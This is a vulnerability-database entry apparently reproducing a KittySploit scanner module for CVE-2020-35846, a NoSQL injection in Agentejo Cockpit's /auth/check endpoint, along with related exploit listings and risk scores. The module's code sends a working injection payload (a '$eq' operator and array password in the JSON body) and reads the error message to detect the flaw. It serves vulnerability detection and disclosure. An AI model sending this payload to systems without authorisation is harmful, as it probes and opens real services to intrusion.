Lucene search
+L

Agentejo Cockpit < 0.11.2 - NoSQL Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

NoSQL injection in Agentejo Cockpit via the Controller/Auth.php check function.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution Exploit
21 Apr 202100:00
–zdt
zdt
zdt
Cockpit CMS 0.11.1 - (Username Enumeration & Password Reset) NoSQL Injection Exploit
10 Aug 202100:00
–zdt
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
25 Jul 202105:05
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
6 Aug 202109:19
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
5 Aug 202118:48
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
21 Jan 202622:18
–githubexploit
attackerkb
attackerkb
CVE-2020-35846
30 Dec 202000:00
–attackerkb
attackerkb
attackerkb
CVE-2020-35847
30 Dec 202000:00
–attackerkb
circl
Circl
CVE-2020-35846
30 Dec 202007:30
–circl
cnnvd
CNNVD
Agentejo Cockpit SQL注入漏洞
29 Dec 202000:00
–cnnvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Agentejo Cockpit before 0."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Agentejo Cockpit < 0.11.2 - NoSQL Injection Detection',
        'description': 'Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'nosqli', 'sqli', 'cockpit', 'injection', 'agentejo', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://swarm.ptsecurity.com/rce-cockpit-cms/',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-35846',
            'https://getcockpit.com/',
            'https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466',
            'https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af',
        ],
        'cve': 'CVE-2020-35846',
    }

    def run(self):
        path = '/auth/check'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/json'}, data='{\n  "auth": {\n    "user": {\n      "$eq": "admin"\n    },\n    "password": [\n      0\n    ]\n  }\n}\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('password_verify() expects parameter',)
        if any(m in body for m in body_any):
            self.set_info(
                severity='critical',
                reason='Agentejo Cockpit < 0.11.2 - NoSQL Injection detected',
                path=path,
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.19.8
EPSS0.93292
2